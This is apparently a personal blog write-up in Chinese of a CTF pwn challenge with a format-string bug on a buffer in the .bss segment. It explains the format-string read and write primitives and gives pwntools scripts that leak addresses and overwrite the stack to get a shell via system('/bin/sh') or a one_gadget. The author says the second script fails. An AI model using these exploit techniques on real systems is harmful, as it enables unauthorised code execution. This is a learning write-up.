0%

小朋友,儿童节快乐鸭

这是一道fmt在bss段上的题。通过这道题我对格式化字符串的理解上了一个新的台阶…

  第一篇技术类博文诶!先激动一下下~

  (本文中fmt均指格式化字符串)通篇是结合wiki和做题的个人理解,错误之处望读者不吝赐教

  fmt这个漏洞比较考验对指针的理解,初次接触时可能会比较吃力(主要指我)。总的来说,经过西工大这两道题,我对fmt这个漏洞的理解如下:

  • fmt读的漏洞:
    • 可以通过%n$p直接获得fmt相对偏移处的数值。原理是当成指针输出(十六进制形式,32位64位都可)
    • 可以通过%n$s获得偏移处(这是一个地址)所指向的内存的内容。原理是当成字符串地址去解析并输出该地址对应内存的字符串形态。所以当此处被当成地址却不合法时程序会报segment fault错。
  • fmt写的漏洞
    • 通过%nc$hhn,hn,n($前的n表示任意整数,c表示以字符形式,我比较常用,$后为固定用法)可向偏移处所指向的内存最低字节/最低两字节/最低四字节写入printf已打印出的字符个数。(此处表述可能不够严谨,因为会有想要修改的内存地址不是整8位,4位的情况,这种情况下hhn可使用,hn和n的效果倒是还没试过)%nc%n$hhn,可如是使用。

注1:n指相对于fmt的偏移。32位在栈上依次是1,2,3…;64位前6个参数在寄存器(包括存放fmt地址的rdi寄存器),之后的参数在栈上(第一个在栈上的数据是printf的第七个参数,相对fmt偏移为6)

注2:写的漏洞描述如上,也就是说能够通过偏移直接改写的只有存放二级及以上指针的内存,直接改写会报错。(6.19:一级应该是部分可以改,要看目标地址是否合法(存在及可写))

题目64位,ida结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
read(0, buf, 0x64uLL);
if ( !strcmp(buf, "66666666") )
break;
printf(buf, "66666666");
}
return 0;
}

双击buf,我们看到buf在bss段。这里尝试解释一下fmt在bss段是如何增加难度的。在栈上时,我们能够控制的输入在栈上,可直接通过%nc%n$hhn对我们的输入(想要修改的变量所在的地址)所指向的内存进行修改。在bss段上则无法直接通过上述接触到输入,也就无法直接进行修改。
首先说明如何找到pop rdi retsystem/bin/sh所在地址
在printf处下断点,然后stack 31

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> stack 31
00:0000│ rsp 0x7fffffffdde8 —▸ 0x555555554824 (main+138) ◂— jmp 0x5555555547da
01:0008│ rbp 0x7fffffffddf0 —▸ 0x555555554830 (__libc_csu_init) ◂— push r15
02:0010│ 0x7fffffffddf8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
03:0018│ 0x7fffffffde00 ◂— 0x1
04:0020│ 0x7fffffffde08 —▸ 0x7fffffffded8 —▸ 0x7fffffffe241 ◂— '/home/ling/now/game/now/history/west/hill/deploy_pwn/deploy/format_level2/src/pwn'
05:0028│ 0x7fffffffde10 ◂— 0x1f7ffcca0
06:0030│ 0x7fffffffde18 —▸ 0x55555555479a (main) ◂— push rbp
07:0038│ 0x7fffffffde20 ◂— 0x0
08:0040│ 0x7fffffffde28 ◂— 0x2cc87ef76f3dd02d
09:0048│ 0x7fffffffde30 —▸ 0x555555554690 (_start) ◂— xor ebp, ebp
0a:0050│ 0x7fffffffde38 —▸ 0x7fffffffded0 ◂— 0x1
0b:0058│ 0x7fffffffde40 ◂— 0x0
... ↓
0d:0068│ 0x7fffffffde50 ◂— 0x799d2ba2435dd02d
0e:0070│ 0x7fffffffde58 ◂— 0x799d3b18508dd02d
0f:0078│ 0x7fffffffde60 ◂— 0x0
... ↓
12:0090│ 0x7fffffffde78 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe293 ◂— 'XDG_VTNR=7'
13:0098│ 0x7fffffffde80 —▸ 0x7ffff7ffe168 —▸ 0x555555554000 ◂— jg 0x555555554047
14:00a0│ 0x7fffffffde88 —▸ 0x7ffff7de77db (_dl_init+139) ◂— jmp 0x7ffff7de77b0
15:00a8│ 0x7fffffffde90 ◂— 0x0
... ↓
17:00b8│ 0x7fffffffdea0 —▸ 0x555555554690 (_start) ◂— xor ebp, ebp
18:00c0│ 0x7fffffffdea8 —▸ 0x7fffffffded0 ◂— 0x1
19:00c8│ 0x7fffffffdeb0 ◂— 0x0
1a:00d0│ 0x7fffffffdeb8 —▸ 0x5555555546ba (_start+42) ◂— hlt
1b:00d8│ 0x7fffffffdec0 —▸ 0x7fffffffdec8 ◂— 0x1c
1c:00e0│ 0x7fffffffdec8 ◂— 0x1c
1d:00e8│ r13 0x7fffffffded0 ◂— 0x1
1e:00f0│ 0x7fffffffded8 —▸ 0x7fffffffe241 ◂— '/home/ling/now/game/now/history/west/hill/deploy_pwn/deploy/format_level2/src/pwn'

首先找目标地址吧。
pop rdi ret可用ROPgadget找到,其实还需要ret,因为题目说明远程是18.04,有个对齐的问题,不加ret的话16.04本地能打通但是远程会报错timeout: the monitored command dumped core。具体原因可见这篇博客
不难发现加载时程序地址随机,不过后三位一定,所以我们可以先在调试时确定目标地址和我们能够得到的地址的偏移,然后通过运行时泄露能够得到的地址和偏移计算出目标地址。结合vmmap,栈和库的位置同样可以如此获得。这里我分别用偏移为1处获得pop rdi ret,9处获得栈的地址(并计算栈顶),7处获得库中__libc_start_main的地址,从而得知system/bin/sh的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#get_file_offset to get pop rdi
p.sendline("%p\0")
one_arg_offset=int(p.recv(14),16)
file_base=one_arg_offset-0x8b4
pop_rdi=file_base+0x893
ret=0x626+file_base
log.info('pop rdi:'+hex(pop_rdi))


#get_stack_rsp_offset
p.sendline("%9$p\0")#addr in stack
stack0=int(p.recv(14),16)-232
#change here doen't matter where to jump
stack=stack0-8
log.info('stack0:'+hex(stack0))
new_jump=184+stack0
#at offset 29
log.info("new_jump:"+hex(new_jump))
#get_libc_3rd_offset
p.sendline("%7$p\0")
libc_start_main=int(p.recv(14),16)-240
log.info('libc_start_main:'+ hex(libc_start_main))


libc=LibcSearcher("__libc_start_main",libc_start_main)
libc_base = libc_start_main - libc.dump("__libc_start_main")
system_addr = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
log.info("libc_base:"+hex(libc_base))
log.info('system:'+hex(system_addr))
log.info('bin_sh:'+hex(bin_sh))

接下来进行修改。
手动改的过程中发现进入printf前除了栈顶,栈顶+8,+16的位置都可以修改且修改能一直不被破坏,所以选择先修改栈顶以下的内容,最后再修改栈顶跳转到pop rdi ret处。(其实应该看汇编的吧。。我怎么就赖上调试了呢,害)
以下是我修改的具体操作:在栈上找到一个指向栈内地址的二级及以上指针。我一开始找的是偏移为9处,跳板就在对应的35处。手动改的时候感觉9和35这两个地方挺稳定的,因为printf完后在下一次printf前就能看到结果,然鹅是我太天真…调试的时候发现再经过一次printf,35处低两字节就会变到0007。甚至还跑去问槐它为什么自己会变指向,我没被打死真是一个奇迹不过既然能控制一次,那么每次都重新改一次指向应该也能做所以就没换地方,继续用35处做的题。

接下来就是手动改了。注意到地址基本都是6个字节(啊你在说什么你这个全靠调试不看书的家伙!)所以编写了这两个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def point_to_target(addr):
payload='%{}c%9$hn'.format(int(hex(new_jump)[-4:],16))
p.sendline(payload.ljust(99,'\x00'))
p.recv()
payload='%{}c%35$hn'.format(int(hex(addr)[-4:],16))
p.sendline(payload.ljust(99,'\x00'))
p.recv()

def change(addr,value):
svalue=hex(value)[2:]#12 bit,6 byte
print svalue
for i in range(5,-1,-1):
print svalue[2*i:2*i+2]
point_to_target(addr+5-i)
log.info("point to stack0+{}".format(5-i))
#p.recv()
payload='%{}c%29$hhn'.format(int(svalue[2*i:2*i+2],16))
p.sendline(payload.ljust(99,'\x00'))
p.recv()

值得注意的一个地方是read函数接收到\0也不会截断,所以我填补99个\x00并连带sendline最后的换行符一共100个字符。也可以payload.ljust('\x00',100)然后用send发送。(咳咳,7.30我来打脸。read读的时候可以直接send()…我整麻烦了。这里还有个奇怪的东东没搞懂就是输入会堆在一起那个现象)最后修改部分的exp如下:

1
2
3
4
5
6
7
change(stack0,bin_sh)
change(stack0+8,system_addr)
point_to_target(stack)
svalue=hex(pop_rdi)
payload='%{}c%29$hhn'.format(int(svalue[-4:],16))
p.sendline(payload.ljust(99,'\x00'))
p.interactive()

环境关闭木有远程打的机会了,ret的部分就懒得没加,道理应该是一样的。不过加ret的话会改到9的位置,emm有点子问题。先留坑,以后再填。溜了溜了

6.27用one_gadget做了一下

额,心态有点炸,因为又是调试出来的,但是不会调其他版本就很伤…这个汇编实际执行情况和我预料的出入有点大,先记下来以后看看能不能明白8

呃呃还知道了one gadget libc结果的后面==NULL的意思是执行条件,后面堆要是都不满足的话还得自己构造。行(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
p=process("./pwn")
#p=process(['./pwn'],env={"LD_PRELOAD":'./libc-2.27.so'})
gdb.attach(p)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
one_gadget223=0xf1147

#get_file_offset to get pop rdi
p.sendline("%p\0")
one_arg_offset=int(p.recv(14),16)
file_base=one_arg_offset-0x8b4
pop_rdi=file_base+0x893
ret=0x626+file_base
log.info('pop rdi:'+hex(pop_rdi))


#get_stack_rsp_offset
p.sendline("%9$p\0")#addr in stack
stack0=int(p.recv(14),16)-232
#change here doen't matter where to jump
stack=stack0-8
log.info('stack0:'+hex(stack0))
new_jump=184+stack0
#at offset 29
log.info("new_jump:"+hex(new_jump))
#get_libc_3rd_offset
p.sendline("%7$p\0")
#print p.recvuntil('0x')
libc_start_main=int(p.recv(14),16)-240
log.info('libc_start_main:'+ hex(libc_start_main))


one_gadget_actual=libc_start_main-libc.sym['__libc_start_main']+one_gadget223
log.info("one gadget:"+hex(one_gadget_actual))

def point_to_target(addr):
payload='%{}c%9$hn'.format(int(hex(new_jump)[-4:],16))
p.sendline(payload.ljust(99,'\x00'))
p.recv()
payload='%{}c%35$hn'.format(int(hex(addr)[-4:],16))
p.sendline(payload.ljust(99,'\x00'))
p.recv()


def change(addr,value):
svalue=hex(value)[2:]#12 bit,6 byte
print svalue
for i in range(5,-1,-1):
print svalue[2*i:2*i+2]
point_to_target(addr+5-i)
log.info("point to stack0+{}".format(5-i))
#p.recv()
payload='%{}c%29$hhn'.format(int(svalue[2*i:2*i+2],16))
p.sendline(payload.ljust(99,'\x00'))
p.recv()


change(stack0+8,one_gadget_actual)
log.info("stack0 change")
change(stack0,ret)
point_to_target(stack)
svalue=hex(ret)
payload='%{}c%29$hhn'.format(int(svalue[-4:],16))
p.sendline(payload.ljust(99,'\x00'))

p.interactive()

问题出在将栈顶改为ret而+8的位置改为one_gadget时汇编最后pop rbp retret的是+16处__libc_start_main+240…懵逼,我就又加了一句ret

隔得久了我不知道上一句我在说啥,反正上面脚本跑不通,再留坑。整体来说这个方法不是太好感觉,可拓展性不够强。